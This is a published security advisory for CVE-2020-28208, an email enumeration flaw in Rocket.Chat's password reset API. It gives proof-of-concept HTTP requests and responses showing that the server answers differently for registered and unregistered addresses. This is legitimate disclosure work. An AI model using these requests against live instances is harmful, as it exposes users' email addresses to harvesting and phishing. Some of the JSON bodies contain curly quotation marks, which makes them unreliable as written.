Security Advisory 2010-01

Email address enumeration vulnerability in the password reset function of Rocket.Chat

Overview

Advisory ID: TRSA-2010-01
Advisory version: 1.2
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2010-01
Affected product: Web application Rocket.Chat
Affected version: <= 3.9.1
Vendor: Rocket.Chat Technologies Corp., https://rocket.chat
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch

Detailed description

Trovent Security GmbH discovered an email address enumeration vulnerability in the password reset function of the chat application Rocket.Chat. This vulnerability lets an unauthorized user enumerate registered email addresses on the instance of Rocket.Chat.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE ID: CVE-2020-28208
CWE ID: CWE-204

Proof of concept

Sample HTTP request sent with a registered email address:

POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json
{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"\"],\"id\":\"3\"}"}

The server response to a valid email address:

HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:01:25 GMT
Connection: keep-alive
Content-Length: 78
{„message“:“{\“msg\“:\“result\“,\“id\“:\“3\“,\“result\“:true}“,“success“:true}

Sample HTTP request sent with a non registered email address:

POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: /
Content-Type: application/json
{„message“:“{\“msg\“:\“method\“,\“method\“:\“sendForgotPasswordEmail\“,\“params\“:[\“\“],\“id\“:\“3\“}“}

The server response to an invalid email address:

HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79
{„message“:“{\“msg\“:\“result\“,\“id\“:\“3\“,\“result\“:false}“,“success“:true}

Solution / Workaround

Ensure the application returns consistent generic server responses independent of the email address entered during the password reset process.

Fixed in Rocket.Chat version 3.9.2, verified by Trovent.

History

2020-10-27: Vulnerability found

2020-11-03: Advisory created and CVE ID requested

2020-11-06: Vendor contacted and informed about planned disclosure date

2020-11-06: Vendor confirmed vulnerability, working on a fix

2021-01-07: Advisory published

2021-01-08: Vendor sent us information about fixed version

2021-01-13: Updated affected version (thanks @LorenzNickel), verified with 3.9.1